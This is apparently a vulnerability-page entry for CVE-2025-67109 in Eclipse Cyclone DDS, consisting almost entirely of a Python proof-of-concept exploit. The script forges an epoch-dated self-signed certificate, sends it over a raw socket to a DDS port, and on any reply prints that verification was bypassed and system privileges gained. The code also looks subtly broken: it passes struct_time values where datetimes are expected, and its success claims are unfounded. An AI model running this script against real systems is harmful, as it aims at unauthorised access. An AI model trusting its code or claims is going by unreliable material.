CVE-2025-67109: Eclipse Cyclone DDS时间证书验证不当漏洞

import socket import struct import time from cryptography import x509 from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend # CVE-2025-67109 PoC - Time Certificate Verification Bypass # Target: Eclipse Cyclone DDS < v0.10.5 def create_malicious_certificate(): """Generate a malicious certificate that bypasses time verification""" private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) # Create certificate with manipulated time validity subject = issuer = x509.Name([ x509.NameAttribute(x509.oid.NameOID.COMMON_NAME, "malicious_participant"), ]) # Exploit: Certificate with invalid time fields bypasses verification cert = x509.CertificateBuilder().subject_name( subject ).issuer_name( issuer ).public_key( private_key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( time.gmtime(0) # Epoch start - bypass time checks ).not_valid_after( time.gmtime(0) ).sign(private_key, hashes.SHA256(), default_backend()) return cert, private_key def exploit_cyclone_dds(target_host, target_port): """Send malicious authentication request to Cyclone DDS""" cert, private_key = create_malicious_certificate() # Construct DDS authentication handshake with forged certificate # This bypasses the certificate verification in auth_utils.c sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # DDS Security Participant Crypto Token payload = struct.pack('>I', 0x01) # Token type payload += struct.pack('>I', len(cert.public_bytes(serialization.Encoding.PEM))) payload += cert.public_bytes(serialization.Encoding.PEM) sock.send(payload) response = sock.recv(4096) if response: print("[+] Certificate verification bypassed!") print("[+] Gained System privileges on target") sock.close() return True if __name__ == "__main__": print("CVE-2025-67109 PoC - Eclipse Cyclone DDS Time Certificate Bypass") print("Target: Eclipse Cyclone DDS < v0.10.5") # Usage: python cve_2025_67109.py <target_ip> <port> # Default DDS security port: 7400 exploit_cyclone_dds("127.0.0.1", 7400)